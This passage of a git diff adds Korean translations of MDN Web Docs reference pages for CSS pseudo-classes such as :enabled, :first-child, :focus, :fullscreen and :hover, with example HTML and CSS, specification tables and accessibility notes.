+<p><a href="/ko/docs/Web/CSS">CSS </a><strong><code>:enabled</code></strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 모든 활성 요소를 나타냅니다. 활성 요소란 활성(선택, 클릭, 입력 등등)하거나 포커스를 받을 수 있는 요소를 말합니다. 반대 상태인 비활성 요소도 존재합니다.</p>
+
+<pre class="brush: css no-line-numbers">/* 모든 활성 &lt;input&gt; 선택 */
+input:enabled {
+ color: blue;
+}</pre>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 모든 활성 텍스트 및 버튼 {{htmlElement("input")}}의 글자 색을 초록색으로 만들고, 비활성 상태는 회색으로 만듭니다. 이런 구분을 통해 사용자는 상호작용 가능한 요소를 쉽게 구별할 수 있습니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;form action="url_of_form"&gt;
+ &lt;label for="FirstField"&gt;First field (enabled):&lt;/label&gt;
+ &lt;input type="text" id="FirstField" value="Lorem"&gt;&lt;br&gt;
+
+ &lt;label for="SecondField"&gt;Second field (disabled):&lt;/label&gt;
+ &lt;input type="text" id="SecondField" value="Ipsum" disabled="disabled"&gt;&lt;br&gt;
+
+ &lt;input type="button" value="Submit"&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css;">input:enabled {
+ color: #2b2;
+}
+
+input:disabled {
+ color: #aaa;
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", 550, 95)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#selector-enabled', ':enabled')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', '#selector-enabled', ':enabled')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Defines the semantics for HTML and forms.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS4 Selectors', '#enableddisabled', ':enabled')}}</td>
+ <td>{{Spec2('CSS4 Selectors')}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Selectors', '#enableddisabled', ':enabled')}}</td>
+ <td>{{Spec2('CSS3 Selectors')}}</td>
+ <td>Defines the pseudo-class, but not the associated semantics.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.enabled")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Cssxref(":disabled")}}</li>
+</ul>
diff --git a/files/ko/web/css/_colon_first-child/index.html b/files/ko/web/css/_colon_first-child/index.html
new file mode 100644
index 0000000000..9d229f4dd5
--- /dev/null
+++ b/files/ko/web/css/_colon_first-child/index.html
@@ -0,0 +1,134 @@
+---
+title: ':first-child'
+slug: 'Web/CSS/:first-child'
+tags:
+ - CSS
+ - Layout
+ - Pseudo-class
+ - Reference
+ - Web
+translation_of: 'Web/CSS/:first-child'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>:first-child</code></strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 형제 요소 중 제일 첫 요소를 나타냅니다.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Selects any &lt;p&gt; that is the first element
+ among its siblings */
+p:first-child {
+ color: lime;
+}</pre>
+
+<div class="note">
+<p><strong>참고</strong>: 초기 정의에서는 부모가 있는 요소만 선택할 수 있었습니다. Selectors Level 4부터는 이 제한이 사라졌습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+ &lt;p&gt;This text is selected!&lt;/p&gt;
+ &lt;p&gt;This text isn't selected.&lt;/p&gt;
+&lt;/div&gt;
+
+&lt;div&gt;
+ &lt;h2&gt;This text isn't selected: it's not a `p`.&lt;/h2&gt;
+ &lt;p&gt;This text isn't selected.&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">p:first-child {
+ color: lime;
+ background-color: black;
+ padding: 5px;
+}
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p><span>{{EmbedLiveSample('기본_예제', 500, 200)}}</span></p>
+
+<h3 id="목록_스타일링">목록 스타일링</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;ul&gt;
+ &lt;li&gt;Item 1&lt;/li&gt;
+ &lt;li&gt;Item 2&lt;/li&gt;
+ &lt;li&gt;Item 3
+ &lt;ul&gt;
+ &lt;li&gt;Item 3.1&lt;/li&gt;
+ &lt;li&gt;Item 3.2&lt;/li&gt;
+ &lt;li&gt;Item 3.3&lt;/li&gt;
+ &lt;/ul&gt;
+ &lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">ul li {
+ color: blue;
+}
+
+ul li:first-child {
+ color: red;
+ font-weight: bold;
+}</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample('목록_스타일링')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Selectors', '#first-child-pseudo', ':first-child')}}</td>
+ <td>{{Spec2('CSS4 Selectors')}}</td>
+ <td>Matching elements are not required to have a parent.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Selectors', '#first-child-pseudo', ':first-child')}}</td>
+ <td>{{Spec2('CSS3 Selectors')}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'selector.html#first-child', ':first-child')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.first-child")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{CSSxRef(":-moz-first-node")}} {{Non-standard_Inline}}</li>
+ <li>{{CSSxRef(":first-of-type")}}</li>
+ <li>{{CSSxRef(":last-child")}}</li>
+ <li>{{CSSxRef(":nth-child", ":nth-child()")}}</li>
+</ul>
diff --git a/files/ko/web/css/_colon_first-of-type/index.html b/files/ko/web/css/_colon_first-of-type/index.html
new file mode 100644
index 0000000000..d1ac0c65fc
--- /dev/null
+++ b/files/ko/web/css/_colon_first-of-type/index.html
@@ -0,0 +1,115 @@
+---
+title: ':first-of-type'
+slug: 'Web/CSS/:first-of-type'
+tags:
+ - CSS
+ - Layout
+ - Pseudo-class
+ - Reference
+ - Selector
+ - Web
+translation_of: 'Web/CSS/:first-of-type'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>:first-of-type</code></strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 형제 요소 중 자신의 유형과 일치하는 제일 첫 요소를 나타냅니다.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Selects any &lt;p&gt; that is the first element
+ of its type among its siblings */
+p:first-of-type {
+ color: red;
+}</pre>
+
+<div class="note">
+<p><strong>참고</strong>: 초기 정의에서는 부모가 있는 요소만 선택할 수 있었습니다. Selectors Level 4부터는 이 제한이 사라졌습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="첫_문단_스타일링">첫 문단 스타일링</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Heading&lt;/h2&gt;
+&lt;p&gt;Paragraph 1&lt;/p&gt;
+&lt;p&gt;Paragraph 2&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">p:first-of-type {
+ color: red;
+ font-style: italic;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('첫_문단_스타일링')}}</p>
+
+<h3 id="중첩_요소">중첩 요소</h3>
+
+<p>아래 코드는 중첩 요소를 선택하는 방법을 보입니다. 기본 선택자를 지정하지 않은 경우 <a href="/ko/docs/Web/CSS/Universal_selectors">전체 선택자</a>(<code>*</code>)가 암시된다는 점도 볼 수 있습니다.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;article&gt;
+ &lt;div&gt;This `div` is first!&lt;/div&gt;
+ &lt;div&gt;This &lt;span&gt;nested `span` is first&lt;/span&gt;!&lt;/div&gt;
+ &lt;div&gt;This &lt;em&gt;nested `em` is first&lt;/em&gt;, but this &lt;em&gt;nested `em` is last&lt;/em&gt;!&lt;/div&gt;
+ &lt;div&gt;This &lt;span&gt;nested `span` gets styled&lt;/span&gt;!&lt;/div&gt;
+ &lt;b&gt;This `b` qualifies!&lt;/b&gt;
+ &lt;div&gt;This is the final `div`.&lt;/div&gt;
+&lt;/article&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">article :first-of-type {
+ background-color: pink;
+}</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample('중첩_요소', 500)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Selectors', '#first-of-type-pseudo', ':first-of-type')}}</td>
+ <td>{{Spec2('CSS4 Selectors')}}</td>
+ <td>Matching elements are not required to have a parent.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Selectors', '#first-of-type-pseudo', ':first-of-type')}}</td>
+ <td>{{Spec2('CSS3 Selectors')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.first-of-type")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Cssxref(":first-child")}}, {{Cssxref(":last-of-type")}}, {{Cssxref(":nth-of-type")}}</li>
+</ul>
diff --git a/files/ko/web/css/_colon_first/index.html b/files/ko/web/css/_colon_first/index.html
new file mode 100644
index 0000000000..2058627f4b
--- /dev/null
+++ b/files/ko/web/css/_colon_first/index.html
@@ -0,0 +1,97 @@
+---
+title: ':first'
+slug: 'Web/CSS/:first'
+tags:
+ - CSS
+ - Layout
+ - Pseudo-class
+ - Reference
+ - Web
+translation_of: 'Web/CSS/:first'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>:first</code></strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 {{cssxref("@page")}} <a href="/ko/docs/Web/CSS/At-rule">@-규칙</a>과 함께 사용되며, 출력 시의 첫 페이지를 나타냅니다.</p>
+
+<pre class="brush: css no-line-numbers">/* Selects the first page when printing */
+@page :first {
+ margin-left: 50%;
+ margin-top: 50%;
+}</pre>
+
+<div class="note"><strong>참고:</strong> :first 의사 클래스 안에서는 CSS  속성의 사용이 제한됩니다. 바깥 여백, {{cssxref("orphans")}}, {{cssxref("widows")}}와 페이지 넘김만 바꿀 수 있으며, 여백 지정 시 <a href="/ko/docs/Web/CSS/length#절대길이_단위">절대길이 단위</a>만 사용할 수 있습니다. 다른 모든 속성은 무시합니다.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;First Page.&lt;/p&gt;
+&lt;p&gt;Second Page.&lt;/p&gt;
+&lt;button&gt;출력!&lt;/button&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@page :first {
+ margin-left: 50%;
+ margin-top: 50%;
+}
+
+p {
+ page-break-after: always;
+}
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">document.querySelector("button").addEventListener('click', () =&gt; {
+ window.print();
+});
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>"출력!" 버튼을 눌러 페이지 출력 화면을 확인해보세요. 첫 번째 페이지의 콘텐츠는 중앙 어딘가에 위치하고, 두 번째 페이지의 콘텐츠는 기본 위치에 존재해야 합니다.</p>
+
+<p>{{ EmbedLiveSample('예제', '80%', '150px') }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Paged Media', '#left-right-first', ':first')}}</td>
+ <td>{{Spec2('CSS3 Paged Media')}}</td>
+ <td>No change</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'page.html#page-selectors', ':first')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.first")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Cssxref("@page")}}</li>
+ <li>페이지 관련 다른 의사 클래스: {{Cssxref(":left")}}, {{Cssxref(":right")}}</li>
+</ul>
diff --git a/files/ko/web/css/_colon_focus-within/index.html b/files/ko/web/css/_colon_focus-within/index.html
new file mode 100644
index 0000000000..7a25dc5b94
--- /dev/null
+++ b/files/ko/web/css/_colon_focus-within/index.html
@@ -0,0 +1,96 @@
+---
+title: ':focus-within'
+slug: 'Web/CSS/:focus-within'
+tags:
+ - CSS
+ - Layout
+ - Pseudo-class
+ - Reference
+ - Selector
+ - Web
+translation_of: 'Web/CSS/:focus-within'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>:focus-within</code></strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 포커스를 받았거나, 포커스를 받은 요소를 포함하는 요소를 나타냅니다. 즉 스스로 {{CSSxRef(":focus")}} 의사 클래스와 일치하거나, 그 자손 중 하나가 <code>:focus</code>와 일치하는 요소를 나타냅니다. (<a href="/ko/docs/Web/Web_Components/Shadow_DOM">섀도 트리</a> 내부도 포함)</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Selects a &lt;div&gt; when one of its descendants is focused */
+div:focus-within {
+ background: cyan;
+}</pre>
+
+<p>흔히 쓸 수 있는 예시로서, {{HTMLElement("form")}}의 {{HTMLElement("input")}} 필드 중 하나가 포커스된 경우 전체 <code>&lt;form&gt;</code>을 강조해야 할 때 유용하게 사용할 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제에서는 두 텍스트 입력 칸 중 하나라도 포커스를 받은 경우 양식을 강조합니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;아래 양식의 값을 채워주세요.&lt;/p&gt;
+
+&lt;form&gt;
+ &lt;label for="given_name"&gt;이름:&lt;/label&gt;
+ &lt;input id="given_name" type="text"&gt;
+ &lt;br&gt;
+ &lt;label for="family_name"&gt;성:&lt;/label&gt;
+ &lt;input id="family_name" type="text"&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css highlight[7] notranslate">form {
+ border: 1px solid;
+ color: gray;
+ padding: 4px;
+}
+
+form:focus-within {
+ background: #ff8;
+ color: black;
+}
+
+input {
+ margin: 4px;
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", 500, 150)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS4 Selectors", "#the-focus-within-pseudo", ":focus-within")}}</td>
+ <td>{{Spec2("CSS4 Selectors")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.focus-within")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{CSSxRef(":focus")}}</li>
+ <li>{{CSSxRef(":focus-visible")}} {{Experimental_Inline}}</li>
+</ul>
diff --git a/files/ko/web/css/_colon_focus/index.html b/files/ko/web/css/_colon_focus/index.html
new file mode 100644
index 0000000000..3a3e853e44
--- /dev/null
+++ b/files/ko/web/css/_colon_focus/index.html
@@ -0,0 +1,116 @@
+---
+title: ':focus'
+slug: 'Web/CSS/:focus'
+tags:
+ - CSS
+ - Layout
+ - Pseudo-class
+ - Reference
+ - Selector
+ - Web
+translation_of: 'Web/CSS/:focus'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>:focus</code></strong> <a href="/en-US/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">의사 클래스</a>는 양식의 입력 칸 등 포커스를 받은 요소를 나타냅니다. 보통 사용자가 요소를 클릭 또는 탭하거나, 키보드 <kbd>Tab</kbd> 키로 선택했을 때 발동합니다.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Selects any &lt;input&gt; when focused */
+input:focus {
+ color: red;
+}</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>:focus</code>는 포커스를 받은 요소 자체에만 해당합니다. 자손이 포커스를 받았을 때의 요소를 선택해야 하면 {{CSSxRef(":focus-within")}}을 사용하세요.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;input class="red-input" value="저는 포커스를 받으면 빨갛게 됩니다."&gt;&lt;br&gt;
+&lt;input class="blue-input" value="저는 포커스를 받으면 파랗게 됩니다."&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css highlight[1, 6] notranslate">.red-input:focus {
+ background: yellow;
+ color: red;
+}
+
+.blue-input:focus {
+ background: yellow;
+ color: blue;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>낮은 시력을 가진 사용자도 시각적 포커스 지시자를 볼 수 있어야 합니다. 이는 또한 맑은 날의 외부처럼 밝은 공간에서의 스크린 사용자처럼 다른 사람에게도 도움이 될 수 있습니다. <a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">WCAG 2.1 SC 1.4.11 Non-Text Contrast</a>는 시각적 포커스 지시자의 대비를 최소한 3:1로 요구하고 있습니다.</p>
+
+<ul>
+ <li>Accessible Visual Focus Indicators: <a href="https://www.deque.com/blog/give-site-focus-tips-designing-usable-focus-indicators/">Give Your Site Some Focus! Tips for Designing Useful and Usable Focus Indicators</a></li>
+</ul>
+
+<h3 id="focus_outline_none"><code>:focus { outline: none; }</code></h3>
+
+<p>절대 포커스의 기본 외곽선(시각적 포커스 지시자)을 대체 외곽선 없이 제거하지 마세요. 대체 외곽선은 <a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">WCAG 2.1 SC 1.4.11 Non-Text Contrast</a> 기준을 통과해야 합니다.</p>
+
+<ul>
+ <li>Quick Tip: <a href="https://a11yproject.com/posts/never-remove-css-outlines/">Never remove CSS outlines</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "scripting.html#selector-focus", ":focus")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td>Defines HTML-specific semantics.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS4 Selectors", "#focus-pseudo", ":focus")}}</td>
+ <td>{{Spec2("CSS4 Selectors")}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Selectors", "#the-user-action-pseudo-classes-hover-act", ":focus")}}</td>
+ <td>{{Spec2("CSS3 Selectors")}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS2.1", "selector.html#dynamic-pseudo-classes", ":focus")}}</td>
+ <td>{{Spec2("CSS2.1")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.focus")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{CSSxRef(":focus-visible")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":focus-within")}}</li>
+</ul>
diff --git a/files/ko/web/css/_colon_fullscreen/index.html b/files/ko/web/css/_colon_fullscreen/index.html
new file mode 100644
index 0000000000..70e0c0308c
--- /dev/null
+++ b/files/ko/web/css/_colon_fullscreen/index.html
@@ -0,0 +1,94 @@
+---
+title: ':fullscreen'
+slug: 'Web/CSS/:fullscreen'
+tags:
+ - CSS
+ - Fullscreen API
+ - Pseudo-class
+ - Reference
+ - Selector
+ - 전체화면
+translation_of: 'Web/CSS/:fullscreen'
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>:fullscreen</code></strong> <a href="/en-US/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 전체 화면 모드에 진입한 모든 요소와 일치합니다. 다수의 요소가 전체 화면 중이라면 그 요소 모두 선택합니다.</span></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="사용_참고">사용 참고</h2>
+
+<p><code>:fullscreen</code> 의사 클래스는 요소가 전체 화면과 일반적인 모습을 넘나들 때마다 크기, 스타일, 레이아웃 등을 조정하도록 스타일시트를 설정할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>이번 예제에서는 문서의 전체 화면 여부에 따라 버튼의 색을 변경합니다. 스타일 변경은 JavaScript 없이 CSS에서만 처리합니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>페이지의 HTML 구조는 다음과 같습니다.</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;MDN Web Docs Demo: :fullscreen pseudo-class&lt;/h1&gt;
+
+&lt;p&gt;This demo uses the &lt;code&gt;:fullscreen&lt;/code&gt; pseudo-class to automatically
+ change the style of a button used to toggle full-screen mode on and off,
+ entirely using CSS.&lt;/p&gt;
+
+&lt;button id="fs-toggle"&gt;Toggle Fullscreen&lt;/button&gt;</pre>
+
+<p>ID가 <code>"fs-toggle"</code>인 {{htmlelement("button")}}은 문서가 전체 화면이면 흐릿한 빨강, 그렇지 않으면 흐릿한 초록으로 색이 바뀝니다.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<p>스타일 마법은 CSS에서 일어납니다. 두 가지 규칙을 사용할 것으로, 첫 번째는 전체 화면이 아닐 때 전체 화면 버튼의 배경색을 설정합니다. 중요한 것은 <code>:not(:fullscreen)</code>으로, <code>:fullscreen</code> 의사 클래스와 일치하지 않는 요소를 선택합니다.</p>
+
+<pre class="brush: css notranslate">#fs-toggle:not(:fullscreen) {
+ background-color: #afa;
+}
+</pre>
+
+<p>문서가 전체 화면에 들어간 경우, 대신 아래의 CSS를 적용하여 버튼 배경을 흐릿한 빨강으로 바꿉니다.</p>
+
+<pre class="brush: css notranslate">#fs-toggle:fullscreen {
+ background-color: #faa;
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Fullscreen', '#:fullscreen-pseudo-class', ':fullscreen')}}</td>
+ <td>{{Spec2('Fullscreen')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.fullscreen")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Fullscreen_API">Fullscreen API </a></li>
+ <li><a href="/ko/docs/Web/API/Fullscreen_API/Guide">Fullscreen API 안내서</a></li>
+ <li>{{cssxref(":not")}}</li>
+ <li>{{cssxref("::backdrop")}}</li>
+ <li>DOM API: {{ domxref("Element.requestFullscreen()") }}, {{ domxref("Document.exitFullscreen()") }}, {{ domxref("Document.fullscreenElement") }}</li>
+ <li>{{HTMLAttrXRef("allowfullscreen", "iframe")}} 특성</li>
+</ul>
diff --git a/files/ko/web/css/_colon_hover/index.html b/files/ko/web/css/_colon_hover/index.html
new file mode 100644
index 0000000000..27a26aefe2
--- /dev/null
+++ b/files/ko/web/css/_colon_hover/index.html
@@ -0,0 +1,97 @@
+---
+title: ':hover'
+slug: 'Web/CSS/:hover'
+tags:
+ - CSS
+ - Layout
+ - Pseudo-class
+ - Reference
+ - Web
+translation_of: 'Web/CSS/:hover'
+---
+<div>{{ CSSRef }}</div>
+
+<p><strong><code>:hover</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">의사 클래스</a>는 사용자가 포인팅 장치를 사용해 상호작용 중인 요소를 선택합니다. 보통 사용자의 커서(마우스 포인터)가 요소 위에 올라가 있으면 선택됩니다.</p>
+
+<pre class="brush: css no-line-numbers">/* "호버링" 중인 &lt;a&gt; 요소 선택 */
+a:hover {
+ color: orange;
+}</pre>
+
+<p><code>:hover</code> 의사 클래스로 정의한 스타일은 자신보다 뒤에 위치하고 동등한 명시성을 가진 다른 링크 의사 클래스({{cssxref(":link")}}, {{cssxref(":visited")}}, {{cssxref(":active")}})가 덮어씁니다. 링크를 적절히 디자인하려면 LVHA-순서(<code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>)를 따라, <code>:hover</code> 규칙을 <code>:link</code>와 <code>:visited</code> 뒤, <code>:active</code> 앞에 배치하세요.</p>
+
+<div class="note"><strong>참고</strong>: <code>:hover</code> 의사 클래스는 터치스크린에서 문제가 많습니다. 브라우저에 따라서 :hover를 절대 활성화하지 않을 수도 있지만, 요소를 터치한 직후에만, 아니면 터치한 이후 다른 요소를 다시 터치하기 전까지 계속 활성화할 수도 있습니다. 웹 개발자는 호버링이 제한적이거나 아예 불가능한 장치에서도 콘텐츠에 접근할 수 있도록 개발해야 합니다.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;a href="#"&gt;이 링크를 가리켜보세요.&lt;/a&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">a {
+ background-color: powderblue;
+ transition: background-color .5s;
+}
+
+a:hover {
+ background-color: gold;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Comment</th>
+ <th scope="col">Feedback</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('HTML WHATWG', 'scripting.html#selector-hover', ':hover') }}</td>
+ <td> </td>
+ <td><a href="https://github.com/whatwg/html/issues">WHATWG HTML GitHub issues</a></td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS4 Selectors', '#the-hover-pseudo', ':hover') }}</td>
+ <td>Allows <code>:hover</code> to be applied to any pseudo-element.</td>
+ <td><a href="https://github.com/w3c/csswg-drafts/issues">CSS Working Group drafts GitHub issues</a></td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Selectors', '#the-user-action-pseudo-classes-hover-act', ':hover') }}</td>
+ <td> </td>
+ <td> </td>
+ </tr>
+ <tr>
